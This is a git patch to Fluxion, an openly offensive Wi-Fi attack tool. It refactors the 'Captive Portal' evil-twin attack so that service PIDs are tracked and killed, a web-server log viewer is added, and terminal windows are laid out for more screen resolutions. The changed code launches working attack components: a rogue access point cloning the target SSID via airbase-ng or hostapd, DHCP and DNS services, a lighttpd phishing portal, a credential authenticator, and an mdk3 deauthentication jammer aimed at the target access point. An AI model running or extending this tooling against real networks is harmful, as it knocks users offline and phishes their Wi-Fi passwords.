From 9b8446c957226e415f8c70309ef1216a3c8073c1 Mon Sep 17 00:00:00 2001 From: Matias Barcenas Date: Wed, 6 Dec 2017 01:54:49 -0600 Subject: [PATCH] Enhancements & additions for Captive Portal. Captive Portal will now target its service PIDs to accurately kill them. Captive Portal's window arrangement has been enhanced (rearranged). Captive Portal will now show the web server access log. --- attacks/Captive Portal/attack.sh | 47 +++++++++------ fluxion.sh | 98 ++++++++++++++++++++++---------- lib/ap/airbase-ng.sh | 2 +- lib/ap/hostapd.sh | 2 +- 4 files changed, 100 insertions(+), 49 deletions(-) diff --git a/attacks/Captive Portal/attack.sh b/attacks/Captive Portal/attack.sh index 01b4ea0..a82208d 100755 --- a/attacks/Captive Portal/attack.sh +++ b/attacks/Captive Portal/attack.sh @@ -968,29 +968,34 @@ function stop_attack() { # Signal any authenticator to stop authentication loop. if [ "$authenticatorPID" ]; then kill -s SIGABRT $authenticatorPID; fi - killall mdk3 &> $FLUXIONOutputDevice - local FLUXIONJammer=$(ps a | grep -e "FLUXION AP Jammer" | awk '{print $1'}) - if [ "$FLUXIONJammer" ] - then kill $FLUXIONJammer &> $FLUXIONOutputDevice + if [ "$CaptivePortalJammerServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalJammerServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalJammerServiceXtermPID="" # Clear parent PID fi sandbox_remove_workfile "$FLUXIONWorkspacePath/mdk3_blacklist.lst" + # Kill captive portal web server log viewer. + if [ "$CaptivePortalWebServiceXtermPID" ]; then + kill $CaptivePortalWebServiceXtermPID &> $FLUXIONOutputDevice + CaptivePortalWebServiceXtermPID="" # Clear service PID + fi + # Kill captive portal web server. - if [ $CaptivePortalServerPID ]; then - kill $CaptivePortalServerPID &> $FLUXIONOutputDevice - CaptivePortalServerPID="" + if [ "$CaptivePortalWebServicePID" ]; then + kill $CaptivePortalWebServicePID &> $FLUXIONOutputDevice + CaptivePortalWebServicePID="" # Clear service PID fi # Kill python DNS service if one is found. - local FLUXIONDNS=$(ps a | grep -e "FLUXION AP DNS" | awk '{print $1'}) - if [ "$FLUXIONDNS" ] - then kill $FLUXIONDNS &> $FLUXIONOutputDevice + if [ "$CaptivePortalDNSServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDNSServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalDNSServiceXtermPID="" # Clear parent PID fi # Kill DHCP service. - local FLUXIONDHCP=$(ps a | grep -e "FLUXION AP DHCP" | awk '{print $1'}) - if [ "$FLUXIONDHCP" ] - then kill $FLUXIONDHCP &> $FLUXIONOutputDevice + if [ "$CaptivePortalDHCPServiceXtermPID" ]; then + kill $(pgrep -P $CaptivePortalDHCPServiceXtermPID 2> $FLUXIONOutputDevice) &> $FLUXIONOutputDevice + CaptivePortalDHCPServiceXtermPID="" # Clear parent PID fi sandbox_remove_workfile "$FLUXIONWorkspacePath/clients.txt" @@ -1009,21 +1014,27 @@ function start_attack() { captive_portal_start_interface echo -e "$FLUXIONVLine $CaptivePortalStartingDHCPServiceNotice" - xterm -bg black -fg green $TOPLEFT -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & + xterm $FLUXIONHoldXterm $TOPLEFT -bg black -fg "#CCCC00" -title "FLUXION AP DHCP Service" -e "dhcpd -d -f -lf \"$FLUXIONWorkspacePath/dhcpd.leases\" -cf \"$FLUXIONWorkspacePath/dhcpd.conf\" $VIGW 2>&1 | tee -a \"$FLUXIONWorkspacePath/clients.txt\"" & + CaptivePortalDHCPServiceXtermPID=$! # Save parent's pid, to get to child later. echo -e "$FLUXIONVLine $CaptivePortalStartingDNSServiceNotice" - xterm $BOTTOMLEFT -bg "#000000" -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & + xterm $FLUXIONHoldXterm $BOTTOMLEFT -bg black -fg "#99CCFF" -title "FLUXION AP DNS Service" -e "if type python2 >/dev/null 2>/dev/null; then python2 \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; else python \"$FLUXIONWorkspacePath/fluxion_captive_portal_dns.py\"; fi" & + CaptivePortalDNSServiceXtermPID=$! # Save parent's pid, to get to child later. echo -e "$FLUXIONVLine $CaptivePortalStartingWebServiceNotice" lighttpd -f "$FLUXIONWorkspacePath/lighttpd.conf" &> $FLUXIONOutputDevice - CaptivePortalServerPID=$! + CaptivePortalWebServicePID=$! + + xterm $FLUXIONHoldXterm $BOTTOM -bg black -fg "#00CC00" -title "FLUXION Web Service" -e "tail -f \"$FLUXIONWorkspacePath/lighttpd.log\"" & + CaptivePortalWebServiceXtermPID=$! echo -e "$FLUXIONVLine $CaptivePortalStartingJammerServiceNotice" echo -e "$APTargetMAC" > "$FLUXIONWorkspacePath/mdk3_blacklist.lst" - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FF0009" -title "FLUXION AP Jammer [mdk3] $APTargetSSID" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg black -fg "#FF0009" -title "FLUXION AP Jammer Service [$APTargetSSID]" -e "mdk3 $WIMonitor d -c $APTargetChannel -b \"$FLUXIONWorkspacePath/mdk3_blacklist.lst\"" & + CaptivePortalJammerServiceXtermPID=$! # Save parent's pid, to get to child later. echo -e "$FLUXIONVLine $CaptivePortalStartingAuthenticatorServiceNotice" - xterm -hold $TOPRIGHT -bg "#000000" -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & + xterm -hold $TOPRIGHT -bg black -fg "#CCCCCC" -title "FLUXION AP Authenticator" -e "$FLUXIONWorkspacePath/captive_portal_authenticator.sh" & } # FLUXSCRIPT END diff --git a/fluxion.sh b/fluxion.sh index 48785a5..1d62eb8 100755 --- a/fluxion.sh +++ b/fluxion.sh @@ -269,67 +269,106 @@ fi #################################### < Resolution > #################################### function fluxion_set_resolution() { # Windows + Resolution - function resA() { + function resA() { ## A) 1024x600 TOPLEFT="-geometry 90x13+0+0" - TOPRIGHT="-geometry 83x26-0+0" + TOPRIGHT="-geometry 82x26-0+0" BOTTOMLEFT="-geometry 90x24+0-0" - BOTTOMRIGHT="-geometry 75x12-0-0" - TOPLEFTBIG="-geometry 91x42+0+0" - TOPRIGHTBIG="-geometry 83x26-0+0" + BOTTOMRIGHT="-geometry 74x12-0-0" + TOPLEFTBIG="-geometry 90x42+0+0" + TOPRIGHTBIG="-geometry 82x26-0+0" + + TOP="-geometry 100x24+350+0" + BOTTOM="-geometry 100x24+350-0" + LEFT="-geometry 100x24+0+125" + RIGHT="-geometry 100x24-0+125" } - function resB() { + function resB() { ## B) 1024x768 TOPLEFT="-geometry 92x14+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 92x36+0-0" BOTTOMRIGHT="-geometry 74x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" TOPRIGHTBIG="-geometry 74x30-0+0" + + TOP="-geometry 100x24+350+0" + BOTTOM="-geometry 100x24+350-0" + LEFT="-geometry 100x24+0+200" + RIGHT="-geometry 100x24-0+200" } - function resC() { + function resC() { ## C) 1280x768 TOPLEFT="-geometry 100x20+0+0" - TOPRIGHT="-geometry 109x20-0+0" + TOPRIGHT="-geometry 110x20-0+0" BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 109x20-0-0" + BOTTOMRIGHT="-geometry 110x20-0-0" TOPLEFTBIG="-geometry 100x52+0+0" - TOPRIGHTBIG="-geometry 109x30-0+0" + TOPRIGHTBIG="-geometry 110x30-0+0" + + TOP="-geometry 100x24+350+0" + BOTTOM="-geometry 100x24+350-0" + LEFT="-geometry 100x24+0+200" + RIGHT="-geometry 100x24-0+200" } - function resD() { + function resD() { ## D) 1280x1024 TOPLEFT="-geometry 110x35+0+0" - TOPRIGHT="-geometry 99x40-0+0" + TOPRIGHT="-geometry 100x40-0+0" BOTTOMLEFT="-geometry 110x35+0-0" - BOTTOMRIGHT="-geometry 99x30-0-0" + BOTTOMRIGHT="-geometry 100x30-0-0" TOPLEFTBIG="-geometry 110x72+0+0" - TOPRIGHTBIG="-geometry 99x40-0+0" + TOPRIGHTBIG="-geometry 100x40-0+0" + + TOP="-geometry 100x24+350+0" + BOTTOM="-geometry 100x24+350-0" + LEFT="-geometry 100x24+0+350" + RIGHT="-geometry 100x24-0+350" } - function resE() { + function resE() { ## E) 1600x1200 TOPLEFT="-geometry 130x43+0+0" TOPRIGHT="-geometry 68x25-0+0" BOTTOMLEFT="-geometry 130x40+0-0" BOTTOMRIGHT="-geometry 132x35-0-0" TOPLEFTBIG="-geometry 130x85+0+0" TOPRIGHTBIG="-geometry 132x48-0+0" + + TOP="-geometry 100x24+500+0" + BOTTOM="-geometry 100x24+500-0" + LEFT="-geometry 100x24+0+400" + RIGHT="-geometry 100x24-0+400" } - function resF() { - TOPLEFT="-geometry 100x17+0+0" - TOPRIGHT="-geometry 90x27-0+0" - BOTTOMLEFT="-geometry 100x30+0-0" - BOTTOMRIGHT="-geometry 90x20-0-0" - TOPLEFTBIG="-geometry 100x70+0+0" - TOPRIGHTBIG="-geometry 90x27-0+0" + function res1K() { ## 1K 1920x1080 + TOPLEFT="-geometry 100x24+0+0" + TOPRIGHT="-geometry 100x24-0+0" + BOTTOMLEFT="-geometry 100x24+0-0" + BOTTOMRIGHT="-geometry 100x24-0-0" + TOPLEFTBIG="-geometry 140x48+0+0" + TOPRIGHTBIG="-geometry 140x48-0+0" + + TOP="-geometry 100x24+650+0" + BOTTOM="-geometry 100x24+650-0" + LEFT="-geometry 100x24+0+400" + RIGHT="-geometry 100x24-0+400" } - detectedresolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d" " -f 3) + function res2K() { ## 2K 2560x1440 + TOPLEFT="-geometry 100x24+0+0" + TOPRIGHT="-geometry 100x24-0+0" + BOTTOMLEFT="-geometry 100x24+0-0" + BOTTOMRIGHT="-geometry 100x24-0-0" + TOPLEFTBIG="-geometry 140x48+0+0" + TOPRIGHTBIG="-geometry 140x48-0+0" + + TOP="-geometry 100x24+975+0" + BOTTOM="-geometry 100x24+975-0" + LEFT="-geometry 100x24+0+550" + RIGHT="-geometry 100x24-0+550" + } + + detectedresolution=$(xdpyinfo 2> /dev/null | grep -A 3 "screen #0" | grep dimensions | tr -s " " | cut -d " " -f 3) - ## A) 1024x600 - ## B) 1024x768 - ## C) 1280x768 - ## D) 1280x1024 - ## E) 1600x1200 case $detectedresolution in "1024x600" ) resA ;; "1024x768" ) resB ;; @@ -337,7 +376,8 @@ function fluxion_set_resolution() { # Windows + Resolution "1366x768" ) resC ;; "1280x1024" ) resD ;; "1600x1200" ) resE ;; - "1366x768" ) resF ;; + "1920x1080" ) res1K;; + "2560x1440" | "2560x1418" ) res2K;; * ) resA ;; esac } diff --git a/lib/ap/airbase-ng.sh b/lib/ap/airbase-ng.sh index 6da4094..38420b5 100755 --- a/lib/ap/airbase-ng.sh +++ b/lib/ap/airbase-ng.sh @@ -45,7 +45,7 @@ function ap_prep() { function ap_start() { ap_stop - xterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & + xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP & local parentPID=$! # Wait till airebase-ng has started and created the extra virtual interface. diff --git a/lib/ap/hostapd.sh b/lib/ap/hostapd.sh index 615f1e7..3a882a1 100755 --- a/lib/ap/hostapd.sh +++ b/lib/ap/hostapd.sh @@ -69,7 +69,7 @@ channel=$APTargetChannel\ function ap_start() { ap_stop - xterm $FLUXIONHoldXterm $BOTTOMRIGHT -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" & + xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" & local parentPID=$! # Wait till hostapd has started and its virtual interface is ready.